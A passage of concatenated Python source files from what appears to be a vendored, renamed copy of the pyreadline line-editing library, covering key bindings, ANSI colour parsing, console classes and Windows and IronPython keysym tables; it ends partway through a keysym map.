6 | bind_exit_key("Control-d")
7 | bind_exit_key("Control-z")
8 |
9 | #Commands for moving
10 | bind_key("Home", "beginning_of_line")
11 | bind_key("End", "end_of_line")
12 | bind_key("Left", "backward_char")
13 | bind_key("Control-b", "backward_char")
14 | bind_key("Right", "forward_char")
15 | bind_key("Control-f", "forward_char")
16 | bind_key("Alt-f", "forward_word")
17 | bind_key("Alt-b", "backward_word")
18 | bind_key("Clear", "clear_screen")
19 | bind_key("Control-l", "clear_screen")
20 | bind_key("Control-a", "beginning_of_line")
21 | bind_key("Control-e", "end_of_line")
22 | #bind_key("Control-l", "redraw_current_line")
23 |
24 | #Commands for Manipulating the History
25 | bind_key("Return", "accept_line")
26 | bind_key("Control-p", "previous_history")
27 | bind_key("Control-n", "next_history")
28 | bind_key("Up", "history_search_backward")
29 | bind_key("Down", "history_search_forward")
30 | bind_key("Alt-<", "beginning_of_history")
31 | bind_key("Alt->", "end_of_history")
32 | bind_key("Control-r", "reverse_search_history")
33 | bind_key("Control-s", "forward_search_history")
34 | bind_key("Alt-p", "non_incremental_reverse_search_history")
35 | bind_key("Alt-n", "non_incremental_forward_search_history")
36 |
37 | bind_key("Control-z", "undo")
38 | bind_key("Control-_", "undo")
39 |
40 | #Commands for Changing Text
41 | bind_key("Delete", "delete_char")
42 | bind_key("Control-d", "delete_char")
43 | bind_key("BackSpace", "backward_delete_char")
44 | #bind_key("Control-Shift-v", "quoted_insert")
45 | bind_key("Control-space", "self_insert")
46 | bind_key("Control-BackSpace", "backward_delete_word")
47 |
48 | #Killing and Yanking
49 | bind_key("Control-k", "kill_line")
50 | bind_key("Control-shift-k", "kill_whole_line")
51 | bind_key("Escape", "kill_whole_line")
52 | bind_key("Meta-d", "kill_word")
53 | bind_key("Control-w", "unix_word_rubout")
54 | #bind_key("Control-Delete", "forward_kill_word")
55 |
56 | #Copy paste
57 | bind_key("Shift-Right", "forward_char_extend_selection")
58 | bind_key("Shift-Left", "backward_char_extend_selection")
59 | bind_key("Shift-Control-Right", "forward_word_extend_selection")
60 | bind_key("Shift-Control-Left", "backward_word_extend_selection")
61 | bind_key("Control-m", "set_mark")
62 |
63 | bind_key("Control-Shift-x", "copy_selection_to_clipboard")
64 | #bind_key("Control-c", "copy_selection_to_clipboard") #Needs allow_ctrl_c(True) below to be uncommented
65 | bind_key("Control-q", "copy_region_to_clipboard")
66 | bind_key('Control-Shift-v', "paste_mulitline_code")
67 | bind_key("Control-x", "cut_selection_to_clipboard")
68 |
69 | bind_key("Control-v", "paste")
70 | bind_key("Control-y", "yank")
71 | bind_key("Alt-v", "ipython_paste")
72 |
73 | #Unbinding keys:
74 | #un_bind_key("Home")
75 |
76 | #Other
77 | bell_style("none") #modes: none, audible, visible(not implemented)
78 | show_all_if_ambiguous("on")
79 | mark_directories("on")
80 | completer_delims(" \t\n\"\\'`@$><=;|&{(?")
81 | complete_filesystem("off")
82 | debug_output("off")
83 | #allow_ctrl_c(True) #(Allows use of ctrl-c as copy key, still propagate keyboardinterrupt when not waiting for input)
84 |
85 | history_filename("~/.pythonhistory")
86 | history_length(200) #value of -1 means no limit
87 |
88 | #set_mode("vi") #will cause following bind_keys to bind to vi mode as well as activate vi mode
89 | #ctrl_c_tap_time_interval(0.3)
--------------------------------------------------------------------------------
/listeners/_pline/configuration/startup.py:
--------------------------------------------------------------------------------
1 | # -*- coding: UTF-8 -*-
2 | # Example snippet to use in a PYTHONSTARTUP file
3 | from __future__ import print_function, unicode_literals, absolute_import
4 | try:
5 | import _pline.rlmain
6 | #_pline.rlmain.config_path=r"c:\xxx\_plineconfig.ini"
7 | import readline, atexit
8 | import _pline.unicode_helper
9 | #
10 | #
11 | #Normally the codepage for _pline is set to be sys.stdout.encoding
12 | #if you need to change this uncomment the following line
13 | #_pline.unicode_helper._pline_codepage="utf8"
14 | except ImportError:
15 | print("Module readline not available.")
16 | else:
17 | #import tab completion functionality
18 | import rlcompleter
19 |
20 | #Override completer from rlcompleter to disable automatic ( on callable
21 | completer_obj = rlcompleter.Completer()
22 | def nop(val, word):
23 | return word
24 | completer_obj._callable_postfix = nop
25 | readline.set_completer(completer_obj.complete)
26 |
27 | #activate tab completion
28 | readline.parse_and_bind("tab: complete")
29 | readline.read_history_file()
30 | atexit.register(readline.write_history_file)
31 | del readline, rlcompleter, atexit
32 |
--------------------------------------------------------------------------------
/listeners/_pline/console/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 | import glob, sys
3 |
4 | success = False
5 | in_ironpython = "IronPython" in sys.version
6 |
7 | if in_ironpython:
8 | try:
9 | from .ironpython_console import *
10 | success = True
11 | except ImportError:
12 | raise
13 | else:
14 | try:
15 | from .console import *
16 | success = True
17 | except ImportError:
18 | pass
19 | raise
20 |
21 | if not success:
22 | raise ImportError(
23 | "Could not find a console implementation for your platform")
24 |
--------------------------------------------------------------------------------
/listeners/_pline/console/ansi.py:
--------------------------------------------------------------------------------
1 | # -*- coding: ISO-8859-1 -*-
2 | from __future__ import print_function, unicode_literals, absolute_import
3 | import re, sys, os
4 |
5 | terminal_escape = re.compile('(\001?\033\\[[0-9;]*m\002?)')
6 | escape_parts = re.compile('\001?\033\\[([0-9;]*)m\002?')
7 |
8 |
9 | class AnsiState(object):
10 | def __init__(self, bold=False, inverse=False, color="white", background="black", backgroundbold=False):
11 | self.bold = bold
12 | self.inverse = inverse
13 | self.color = color
14 | self.background = background
15 | self.backgroundbold = backgroundbold
16 |
17 | trtable = {"black":0, "red":4, "green":2, "yellow":6,
18 | "blue":1, "magenta":5, "cyan":3, "white":7}
19 | revtable = dict(zip(trtable.values(),trtable.keys()))
20 | def get_winattr(self):
21 | attr = 0
22 | if self.bold:
23 | attr |= 0x0008
24 | if self.backgroundbold:
25 | attr |= 0x0080
26 | if self.inverse:
27 | attr |= 0x4000
28 | attr |= self.trtable[self.color]
29 | attr |= (self.trtable[self.background] << 4)
30 | return attr
31 |
32 | def set_winattr(self, attr):
33 | self.bold = bool(attr & 0x0008)
34 | self.backgroundbold = bool(attr & 0x0080)
35 | self.inverse = bool(attr & 0x4000)
36 | self.color = self.revtable[attr & 0x0007]
37 | self.background = self.revtable[(attr & 0x0070) >> 4]
38 |
39 | winattr = property(get_winattr, set_winattr)
40 | def __repr__(self):
41 | return 'AnsiState(bold=%s,inverse=%s,color=%9s,' \
42 | 'background=%9s,backgroundbold=%s)# 0x%x'% \
43 | (self.bold, self.inverse, '"%s"'%self.color,
44 | '"%s"'%self.background, self.backgroundbold,
45 | self.winattr)
46 |
47 | def copy(self):
48 | x = AnsiState()
49 | x.bold = self.bold
50 | x.inverse = self.inverse
51 | x.color = self.color
52 | x.background = self.background
53 | x.backgroundbold = self.backgroundbold
54 | return x
55 |
56 | defaultstate = AnsiState(False, False, "white")
57 |
58 | trtable = {0:"black", 1:"red", 2:"green", 3:"yellow",
59 | 4:"blue", 5:"magenta", 6:"cyan", 7:"white"}
60 |
61 | class AnsiWriter(object):
62 | def __init__(self, default=defaultstate):
63 | if isinstance(defaultstate, AnsiState):
64 | self.defaultstate = default
65 | else:
66 | self.defaultstate=AnsiState()
67 | self.defaultstate.winattr = defaultstate
68 |
69 |
70 | def write_color(self,text, attr=None):
71 | '''write text at current cursor position and interpret color escapes.
72 |
73 | return the number of characters written.
74 | '''
75 | if isinstance(attr,AnsiState):
76 | defaultstate = attr
77 | elif attr is None: #use attribute form initial console
78 | attr = self.defaultstate.copy()
79 | else:
80 | defaultstate = AnsiState()
81 | defaultstate.winattr = attr
82 | attr = defaultstate
83 | chunks = terminal_escape.split(text)
84 | n = 0 # count the characters we actually write, omitting the escapes
85 | res=[]
86 | for chunk in chunks:
87 | m = escape_parts.match(chunk)
88 | if m:
89 | parts = m.group(1).split(";")
90 | if len(parts) == 1 and parts[0] == "0":
91 | attr = self.defaultstate.copy()
92 | continue
93 | for part in parts:
94 | if part == "0": # No text attribute
95 | attr = self.defaultstate.copy()
96 | attr.bold=False
97 | elif part == "7": # switch on reverse
98 | attr.inverse=True
99 | elif part == "1": # switch on bold (i.e. intensify foreground color)
100 | attr.bold=True
101 | elif len(part) == 2 and "30" <= part <= "37": # set foreground color
102 | attr.color = trtable[int(part) - 30]
103 | elif len(part) == 2 and "40" <= part <= "47": # set background color
104 | attr.backgroundcolor = trtable[int(part) - 40]
105 | continue
106 | n += len(chunk)
107 | if True:
108 | res.append((attr.copy(), chunk))
109 | return n,res
110 |
111 | def parse_color(self,text, attr=None):
112 | n, res = self.write_color(text, attr)
113 | return n, [attr.winattr for attr, text in res]
114 |
115 | def write_color(text, attr=None):
116 | a = AnsiWriter(defaultstate)
117 | return a.write_color(text, attr)
118 |
119 | def write_color_old( text, attr=None):
120 | '''write text at current cursor position and interpret color escapes.
121 |
122 | return the number of characters written.
123 | '''
124 | res = []
125 | chunks = terminal_escape.split(text)
126 | n = 0 # count the characters we actually write, omitting the escapes
127 | if attr is None:#use attribute from initial console
128 | attr = 15
129 | for chunk in chunks:
130 | m = escape_parts.match(chunk)
131 | if m:
132 | for part in m.group(1).split(";"):
133 | if part == "0": # No text attribute
134 | attr = 0
135 | elif part == "7": # switch on reverse
136 | attr |= 0x4000
137 | if part == "1": # switch on bold (i.e. intensify foreground color)
138 | attr |= 0x08
139 | elif len(part) == 2 and "30" <= part <= "37": # set foreground color
140 | part = int(part)-30
141 | # we have to mirror bits
142 | attr = (attr & ~0x07) | ((part & 0x1) << 2) | (part & 0x2) | ((part & 0x4) >> 2)
143 | elif len(part) == 2 and "40" <= part <= "47": # set background color
144 | part = int(part) - 40
145 | # we have to mirror bits
146 | attr = (attr & ~0x70) | ((part & 0x1) << 6) | ((part & 0x2) << 4) | ((part & 0x4) << 2)
147 | # ignore blink, underline and anything we don't understand
148 | continue
149 | n += len(chunk)
150 | if chunk:
151 | res.append(("0x%x"%attr, chunk))
152 | return res
153 |
154 |
155 | #trtable={0:"black",1:"red",2:"green",3:"yellow",4:"blue",5:"magenta",6:"cyan",7:"white"}
156 |
157 | if __name__ == "__main__x":
158 | import pprint
159 | pprint = pprint.pprint
160 |
161 | s = "\033[0;31mred\033[0;32mgreen\033[0;33myellow\033[0;34mblue\033[0;35mmagenta\033[0;36mcyan\033[0;37mwhite\033[0m"
162 | pprint (write_color(s))
163 | pprint (write_color_old(s))
164 | s = "\033[1;31mred\033[1;32mgreen\033[1;33myellow\033[1;34mblue\033[1;35mmagenta\033[1;36mcyan\033[1;37mwhite\033[0m"
165 | pprint (write_color(s))
166 | pprint (write_color_old(s))
167 |
168 | s = "\033[0;7;31mred\033[0;7;32mgreen\033[0;7;33myellow\033[0;7;34mblue\033[0;7;35mmagenta\033[0;7;36mcyan\033[0;7;37mwhite\033[0m"
169 | pprint (write_color(s))
170 | pprint (write_color_old(s))
171 | s = "\033[1;7;31mred\033[1;7;32mgreen\033[1;7;33myellow\033[1;7;34mblue\033[1;7;35mmagenta\033[1;7;36mcyan\033[1;7;37mwhite\033[0m"
172 | pprint (write_color(s))
173 | pprint (write_color_old(s))
174 |
175 |
176 | if __name__ == "__main__":
177 | import console
178 | import pprint
179 | pprint = pprint.pprint
180 |
181 | c = console.Console()
182 | c.write_color("dhsjdhs")
183 | c.write_color("\033[0;32mIn [\033[1;32m1\033[0;32m]:")
184 | print
185 | pprint (write_color("\033[0;32mIn [\033[1;32m1\033[0;32m]:"))
186 |
187 | if __name__ == "__main__x":
188 | import pprint
189 | pprint = pprint.pprint
190 | s = "\033[0;31mred\033[0;32mgreen\033[0;33myellow\033[0;34mblue\033[0;35mmagenta\033[0;36mcyan\033[0;37mwhite\033[0m"
191 | pprint (write_color(s))
192 |
--------------------------------------------------------------------------------
/listeners/_pline/console/console_attributes.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 |
3 | FOREGROUND_BLUE = 0x0001
4 | FOREGROUND_GREEN = 0x0002
5 | FOREGROUND_RED = 0x0004
6 | FOREGROUND_INTENSITY = 0x0008
7 | BACKGROUND_BLUE = 0x0010
8 | BACKGROUND_GREEN = 0x0020
9 | BACKGROUND_RED = 0x0040
10 | BACKGROUND_INTENSITY = 0x0080
11 | COMMON_LVB_LEADING_BYTE = 0x0100
12 | COMMON_LVB_TRAILING_BYTE = 0x0200
13 | COMMON_LVB_GRID_HORIZONTAL= 0x0400
14 | COMMON_LVB_GRID_LVERTICAL = 0x0800
15 | COMMON_LVB_GRID_RVERTICAL = 0x1000
16 | COMMON_LVB_REVERSE_VIDEO = 0x2000
17 | COMMON_LVB_UNDERSCORE = 0x4000
18 |
--------------------------------------------------------------------------------
/listeners/_pline/console/consolebase.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 |
3 | class baseconsole(object):
4 | def __init__(self):
5 | pass
6 |
7 | def bell(self):
8 | raise NotImplementedError
9 |
10 | def pos(self, x=None, y=None):
11 | '''Move or query the window cursor.'''
12 | raise NotImplementedError
13 |
14 | def size(self):
15 | raise NotImplementedError
16 |
17 | def rectangle(self, rect, attr=None, fill=' '):
18 | '''Fill Rectangle.'''
19 | raise NotImplementedError
20 |
21 | def write_scrolling(self, text, attr=None):
22 | '''write text at current cursor position while watching for scrolling.
23 |
24 | If the window scrolls because you are at the bottom of the screen
25 | buffer, all positions that you are storing will be shifted by the
26 | scroll amount. For example, I remember the cursor position of the
27 | prompt so that I can redraw the line but if the window scrolls,
28 | the remembered position is off.
29 |
30 | This variant of write tries to keep track of the cursor position
31 | so that it will know when the screen buffer is scrolled. It
32 | returns the number of lines that the buffer scrolled.
33 |
34 | '''
35 | raise NotImplementedError
36 |
37 | def getkeypress(self):
38 | '''Return next key press event from the queue, ignoring others.'''
39 | raise NotImplementedError
40 |
41 | def write(self, text):
42 | raise NotImplementedError
43 |
44 | def page(self, attr=None, fill=' '):
45 | '''Fill the entire screen.'''
46 | raise NotImplementedError
47 |
48 | def isatty(self):
49 | return True
50 |
51 | def flush(self):
52 | pass
53 |
54 |
--------------------------------------------------------------------------------
/listeners/_pline/console/event.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 |
3 | class Event(object):
4 | '''Represent events from the console.'''
5 | def __init__(self, console, input):
6 | pass
7 |
8 | def __repr__(self):
9 | '''Display an event for debugging.'''
10 | if self.type in ['KeyPress', 'KeyRelease']:
11 | chr = self.char
12 | if ord(chr) < ord("A"):
13 | chr = "?"
14 | s = "%s char='%s'%d keysym='%s' keycode=%d:%x state=%x keyinfo=%s" % \
15 | (self.type, chr, ord(self.char), self.keysym, self.keycode, self.keycode,
16 | self.state, self.keyinfo)
17 | elif self.type in ['Motion', 'Button']:
18 | s = '%s x=%d y=%d state=%x' % (self.type, self.x, self.y, self.state)
19 | elif self.type == 'Configure':
20 | s = '%s w=%d h=%d' % (self.type, self.width, self.height)
21 | elif self.type in ['FocusIn', 'FocusOut']:
22 | s = self.type
23 | elif self.type == 'Menu':
24 | s = '%s state=%x' % (self.type, self.state)
25 | else:
26 | s = 'unknown event type'
27 | return s
28 |
29 |
30 | # def __str__(self):
31 | # return "('%s',%s,%s,%s)"%(self.char,self.key,self.state,self.keyinfo)
--------------------------------------------------------------------------------
/listeners/_pline/error.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Jorgen Stenarson.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | from __future__ import print_function, unicode_literals, absolute_import
9 |
10 |
11 | class ReadlineError(Exception):
12 | pass
13 |
14 | class GetSetError(ReadlineError):
15 | pass
16 |
--------------------------------------------------------------------------------
/listeners/_pline/get_doc.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 | import sys, textwrap
3 | from .py3k_compat import callable
4 |
5 | rlmain = sys.modules["readline"]
6 | rl = rlmain.rl
7 |
8 | def get_doc(rl):
9 | methods = [(x, getattr(rl, x)) for x in dir(rl) if callable(getattr(rl, x))]
10 | return [ (x, m.__doc__ )for x, m in methods if m.__doc__]
11 |
12 |
13 | def get_rest(rl):
14 | q = get_doc(rl)
15 | out = []
16 | for funcname, doc in q:
17 | out.append(funcname)
18 | out.append("\n".join(textwrap.wrap(doc, 80, initial_indent=" ")))
19 | out.append("")
20 | return out
--------------------------------------------------------------------------------
/listeners/_pline/keysyms/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 |
3 | import sys
4 |
5 | success = False
6 | in_ironpython = "IronPython" in sys.version
7 | from . import winconstants
8 |
9 | if in_ironpython:
10 | try:
11 | from .ironpython_keysyms import *
12 | success = True
13 | except ImportError as x:
14 | raise
15 | else:
16 | try:
17 | from .keysyms import *
18 | success = True
19 | except ImportError as x:
20 | pass
21 |
22 | if not success:
23 | raise ImportError("Could not import keysym for local pythonversion", x)
--------------------------------------------------------------------------------
/listeners/_pline/keysyms/common.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2003-2006 Gary Bishop.
4 | # Copyright (C) 2006 Jorgen Stenarson.
5 | #
6 | # Distributed under the terms of the BSD License. The full license is in
7 | # the file COPYING, distributed as part of this software.
8 | #*****************************************************************************
9 | # table for translating virtual keys to X windows key symbols
10 | from __future__ import print_function, unicode_literals, absolute_import
11 |
12 | try:
13 | set
14 | except NameError:
15 | from sets import Set as set
16 |
17 | from _pline.unicode_helper import ensure_unicode
18 |
19 | validkey =set(['cancel', 'backspace', 'tab', 'clear',
20 | 'return', 'shift_l', 'control_l', 'alt_l',
21 | 'pause', 'caps_lock', 'escape', 'space',
22 | 'prior', 'next', 'end', 'home',
23 | 'left', 'up', 'right', 'down',
24 | 'select', 'print', 'execute', 'snapshot',
25 | 'insert', 'delete', 'help', 'f1',
26 | 'f2', 'f3', 'f4', 'f5',
27 | 'f6', 'f7', 'f8', 'f9',
28 | 'f10', 'f11', 'f12', 'f13',
29 | 'f14', 'f15', 'f16', 'f17',
30 | 'f18', 'f19', 'f20', 'f21',
31 | 'f22', 'f23', 'f24', 'num_lock',
32 | 'scroll_lock', 'vk_apps', 'vk_processkey','vk_attn',
33 | 'vk_crsel', 'vk_exsel', 'vk_ereof', 'vk_play',
34 | 'vk_zoom', 'vk_noname', 'vk_pa1', 'vk_oem_clear',
35 | 'numpad0', 'numpad1', 'numpad2', 'numpad3',
36 | 'numpad4', 'numpad5', 'numpad6', 'numpad7',
37 | 'numpad8', 'numpad9', 'divide', 'multiply',
38 | 'add', 'subtract', 'vk_decimal'])
39 |
40 | escape_sequence_to_special_key = {"\\e[a" : "up", "\\e[b" : "down", "del" : "delete"}
41 |
42 | class KeyPress(object):
43 | def __init__(self, char="", shift=False, control=False, meta=False, keyname=""):
44 | if control or meta or shift:
45 | char = char.upper()
46 | self.info = dict(char=char,
47 | shift=shift,
48 | control=control,
49 | meta=meta,
50 | keyname=keyname)
51 |
52 | def create(name):
53 | def get(self):
54 | return self.info[name]
55 |
56 | def set(self, value):
57 | self.info[name] = value
58 | return property(get, set)
59 | char = create("char")
60 | shift = create("shift")
61 | control = create("control")
62 | meta = create("meta")
63 | keyname = create("keyname")
64 |
65 | def __repr__(self):
66 | return "(%s,%s,%s,%s)"%tuple(map(ensure_unicode, self.tuple()))
67 |
68 | def tuple(self):
69 | if self.keyname:
70 | return (self.control, self.meta, self.shift, self.keyname)
71 | else:
72 | if self.control or self.meta or self.shift:
73 | return (self.control, self.meta, self.shift, self.char.upper())
74 | else:
75 | return (self.control, self.meta, self.shift, self.char)
76 |
77 | def __eq__(self, other):
78 | if isinstance(other, KeyPress):
79 | s = self.tuple()
80 | o = other.tuple()
81 | return s == o
82 | else:
83 | return False
84 |
85 | def make_KeyPress_from_keydescr(keydescr):
86 | keyinfo = KeyPress()
87 | if len(keydescr) > 2 and keydescr[:1] == '"' and keydescr[-1:] == '"':
88 | keydescr = keydescr[1:-1]
89 |
90 | while 1:
91 | lkeyname = keydescr.lower()
92 | if lkeyname.startswith('control-'):
93 | keyinfo.control = True
94 | keydescr = keydescr[8:]
95 | elif lkeyname.startswith('ctrl-'):
96 | keyinfo.control = True
97 | keydescr = keydescr[5:]
98 | elif keydescr.lower().startswith('\\c-'):
99 | keyinfo.control = True
100 | keydescr = keydescr[3:]
101 | elif keydescr.lower().startswith('\\m-'):
102 | keyinfo.meta = True
103 | keydescr = keydescr[3:]
104 | elif keydescr in escape_sequence_to_special_key:
105 | keydescr = escape_sequence_to_special_key[keydescr]
106 | elif lkeyname.startswith('meta-'):
107 | keyinfo.meta = True
108 | keydescr = keydescr[5:]
109 | elif lkeyname.startswith('alt-'):
110 | keyinfo.meta = True
111 | keydescr = keydescr[4:]
112 | elif lkeyname.startswith('shift-'):
113 | keyinfo.shift = True
114 | keydescr = keydescr[6:]
115 | else:
116 | if len(keydescr) > 1:
117 | if keydescr.strip().lower() in validkey:
118 | keyinfo.keyname = keydescr.strip().lower()
119 | keyinfo.char = ""
120 | else:
121 | raise IndexError("Not a valid key: '%s'"%keydescr)
122 | else:
123 | keyinfo.char = keydescr
124 | return keyinfo
125 |
126 | if __name__ == "__main__":
127 | import startup
128 |
--------------------------------------------------------------------------------
/listeners/_pline/keysyms/ironpython_keysyms.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2003-2006 Gary Bishop.
4 | # Copyright (C) 2006 Jorgen Stenarson.
5 | #
6 | # Distributed under the terms of the BSD License. The full license is in
7 | # the file COPYING, distributed as part of this software.
8 | #*****************************************************************************
9 | from __future__ import print_function, unicode_literals, absolute_import
10 | import System
11 | from .common import validkey, KeyPress, make_KeyPress_from_keydescr
12 |
13 | c32 = System.ConsoleKey
14 | Shift = System.ConsoleModifiers.Shift
15 | Control = System.ConsoleModifiers.Control
16 | Alt = System.ConsoleModifiers.Alt
17 | # table for translating virtual keys to X windows key symbols
18 | code2sym_map = {#c32.CANCEL: 'Cancel',
19 | c32.Backspace: 'BackSpace',
20 | c32.Tab: 'Tab',
21 | c32.Clear: 'Clear',
22 | c32.Enter: 'Return',
23 | # c32.Shift: 'Shift_L',
24 | # c32.Control: 'Control_L',
25 | # c32.Menu: 'Alt_L',
26 | c32.Pause: 'Pause',
27 | # c32.Capital: 'Caps_Lock',
28 | c32.Escape: 'Escape',
29 | # c32.Space: 'space',
30 | c32.PageUp: 'Prior',
31 | c32.PageDown: 'Next',
32 | c32.End: 'End',
33 | c32.Home: 'Home',
34 | c32.LeftArrow: 'Left',
35 | c32.UpArrow: 'Up',
36 | c32.RightArrow: 'Right',
37 | c32.DownArrow: 'Down',
38 | c32.Select: 'Select',
39 | c32.Print: 'Print',
40 | c32.Execute: 'Execute',
41 | # c32.Snapshot: 'Snapshot',
42 | c32.Insert: 'Insert',
43 | c32.Delete: 'Delete',
44 | c32.Help: 'Help',
45 | c32.F1: 'F1',
46 | c32.F2: 'F2',
47 | c32.F3: 'F3',
48 | c32.F4: 'F4',
49 | c32.F5: 'F5',
50 | c32.F6: 'F6',
51 | c32.F7: 'F7',
52 | c32.F8: 'F8',
53 | c32.F9: 'F9',
54 | c32.F10: 'F10',
55 | c32.F11: 'F11',
56 | c32.F12: 'F12',
57 | c32.F13: 'F13',
58 | c32.F14: 'F14',
59 | c32.F15: 'F15',
60 | c32.F16: 'F16',
61 | c32.F17: 'F17',
62 | c32.F18: 'F18',
63 | c32.F19: 'F19',
64 | c32.F20: 'F20',
65 | c32.F21: 'F21',
66 | c32.F22: 'F22',
67 | c32.F23: 'F23',
68 | c32.F24: 'F24',
69 | # c32.Numlock: 'Num_Lock,',
70 | # c32.Scroll: 'Scroll_Lock',
71 | # c32.Apps: 'VK_APPS',
72 | # c32.ProcesskeY: 'VK_PROCESSKEY',
73 | # c32.Attn: 'VK_ATTN',
74 | # c32.Crsel: 'VK_CRSEL',
75 | # c32.Exsel: 'VK_EXSEL',
76 | # c32.Ereof: 'VK_EREOF',
77 | # c32.Play: 'VK_PLAY',
78 | # c32.Zoom: 'VK_ZOOM',
79 | # c32.Noname: 'VK_NONAME',
80 | # c32.Pa1: 'VK_PA1',
81 | c32.OemClear: 'VK_OEM_CLEAR',
82 | c32.NumPad0: 'NUMPAD0',
83 | c32.NumPad1: 'NUMPAD1',
84 | c32.NumPad2: 'NUMPAD2',
85 | c32.NumPad3: 'NUMPAD3',
86 | c32.NumPad4: 'NUMPAD4',
87 | c32.NumPad5: 'NUMPAD5',
88 | c32.NumPad6: 'NUMPAD6',
89 | c32.NumPad7: 'NUMPAD7',
90 | c32.NumPad8: 'NUMPAD8',
91 | c32.NumPad9: 'NUMPAD9',
92 | c32.Divide: 'Divide',
93 | c32.Multiply: 'Multiply',
94 | c32.Add: 'Add',
95 | c32.Subtract: 'Subtract',
96 | c32.Decimal: 'VK_DECIMAL'
97 | }
98 |
99 | # function to handle the mapping
100 | def make_keysym(keycode):
101 | try:
102 | sym = code2sym_map[keycode]
103 | except KeyError:
104 | sym = ''
105 | return sym
106 |
107 | sym2code_map = {}
108 | for code,sym in code2sym_map.items():
109 | sym2code_map[sym.lower()] = code
110 |
111 | def key_text_to_keyinfo(keytext):
112 | '''Convert a GNU readline style textual description of a key to keycode with modifiers'''
113 | if keytext.startswith('"'): # "
114 | return keyseq_to_keyinfo(keytext[1:-1])
115 | else:
116 | return keyname_to_keyinfo(keytext)
117 |
118 |
119 | def char_to_keyinfo(char, control=False, meta=False, shift=False):
120 | vk = (ord(char))
121 | if vk & 0xffff == 0xffff:
122 | print('VkKeyScan("%s") = %x' % (char, vk))
123 | raise ValueError('bad key')
124 | if vk & 0x100:
125 | shift = True
126 | if vk & 0x200:
127 | control = True
128 | if vk & 0x400:
129 | meta = True
130 | return (control, meta, shift, vk & 0xff)
131 |
132 | def keyname_to_keyinfo(keyname):
133 | control = False
134 | meta = False
135 | shift = False
136 |
137 | while 1:
138 | lkeyname = keyname.lower()
139 | if lkeyname.startswith('control-'):
140 | control = True
141 | keyname = keyname[8:]
142 | elif lkeyname.startswith('ctrl-'):
143 | control = True
144 | keyname = keyname[5:]
145 | elif lkeyname.startswith('meta-'):
146 | meta = True
147 | keyname = keyname[5:]
148 | elif lkeyname.startswith('alt-'):
149 | meta = True
150 | keyname = keyname[4:]
151 | elif lkeyname.startswith('shift-'):
152 | shift = True
153 | keyname = keyname[6:]
154 | else:
155 | if len(keyname) > 1:
156 | return (control, meta, shift, sym2code_map.get(keyname.lower()," "))
157 | else:
158 | return char_to_keyinfo(keyname, control, meta, shift)
159 |
160 | def keyseq_to_keyinfo(keyseq):
161 | res = []
162 | control = False
163 | meta = False
164 | shift = False
165 |
166 | while 1:
167 | if keyseq.startswith('\\C-'):
168 | control = True
169 | keyseq = keyseq[3:]
170 | elif keyseq.startswith('\\M-'):
171 | meta = True
172 | keyseq = keyseq[3:]
173 | elif keyseq.startswith('\\e'):
174 | res.append(char_to_keyinfo('\033', control, meta, shift))
175 | control = meta = shift = False
176 | keyseq = keyseq[2:]
177 | elif len(keyseq) >= 1:
178 | res.append(char_to_keyinfo(keyseq[0], control, meta, shift))
179 | control = meta = shift = False
180 | keyseq = keyseq[1:]
181 | else:
182 | return res[0]
183 |
184 | def make_keyinfo(keycode, state):
185 | control = False
186 | meta =False
187 | shift = False
188 | return (control, meta, shift, keycode)
189 |
190 |
191 | def make_KeyPress(char, state, keycode):
192 |
193 | shift = bool(int(state) & int(Shift))
194 | control = bool(int(state) & int(Control))
195 | meta = bool(int(state) & int(Alt))
196 | keyname = code2sym_map.get(keycode, "").lower()
197 | if control and meta: #equivalent to altgr so clear flags
198 | control = False
199 | meta = False
200 | elif control:
201 | char = str(keycode)
202 | return KeyPress(char, shift, control, meta, keyname)
203 |
204 |
--------------------------------------------------------------------------------
/listeners/_pline/keysyms/keysyms.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2003-2006 Gary Bishop.
4 | # Copyright (C) 2006 Jorgen Stenarson.
5 | #
6 | # Distributed under the terms of the BSD License. The full license is in
7 | # the file COPYING, distributed as part of this software.
8 | #*****************************************************************************
9 | from __future__ import print_function, unicode_literals, absolute_import
10 | from . import winconstants as c32
11 | from _pline.logger import log
12 | from ctypes import windll
13 | import ctypes
14 | # table for translating virtual keys to X windows key symbols
15 |
16 | from .common import KeyPress
17 |
18 | code2sym_map = {c32.VK_CANCEL: 'cancel',
19 | c32.VK_BACK: 'backspace',
20 | c32.VK_TAB: 'tab',
21 | c32.VK_CLEAR: 'clear',
22 | c32.VK_RETURN: 'return',
23 | c32.VK_SHIFT: 'shift_l',
24 | c32.VK_CONTROL: 'control_l',
25 | c32.VK_MENU: 'alt_l',
26 | c32.VK_PAUSE: 'pause',
27 | c32.VK_CAPITAL: 'caps_lock',
28 | c32.VK_ESCAPE: 'escape',
29 | c32.VK_SPACE: 'space',
30 | c32.VK_PRIOR: 'prior',
31 | c32.VK_NEXT: 'next',
32 | c32.VK_END: 'end',
33 | c32.VK_HOME: 'home',
34 | c32.VK_LEFT: 'left',
35 | c32.VK_UP: 'up',
36 | c32.VK_RIGHT: 'right',
37 | c32.VK_DOWN: 'down',
38 | c32.VK_SELECT: 'select',
39 | c32.VK_PRINT: 'print',
40 | c32.VK_EXECUTE: 'execute',
41 | c32.VK_SNAPSHOT: 'snapshot',
42 | c32.VK_INSERT: 'insert',
43 | c32.VK_DELETE: 'delete',
44 | c32.VK_HELP: 'help',
45 | c32.VK_F1: 'f1',
46 | c32.VK_F2: 'f2',
47 | c32.VK_F3: 'f3',
48 | c32.VK_F4: 'f4',
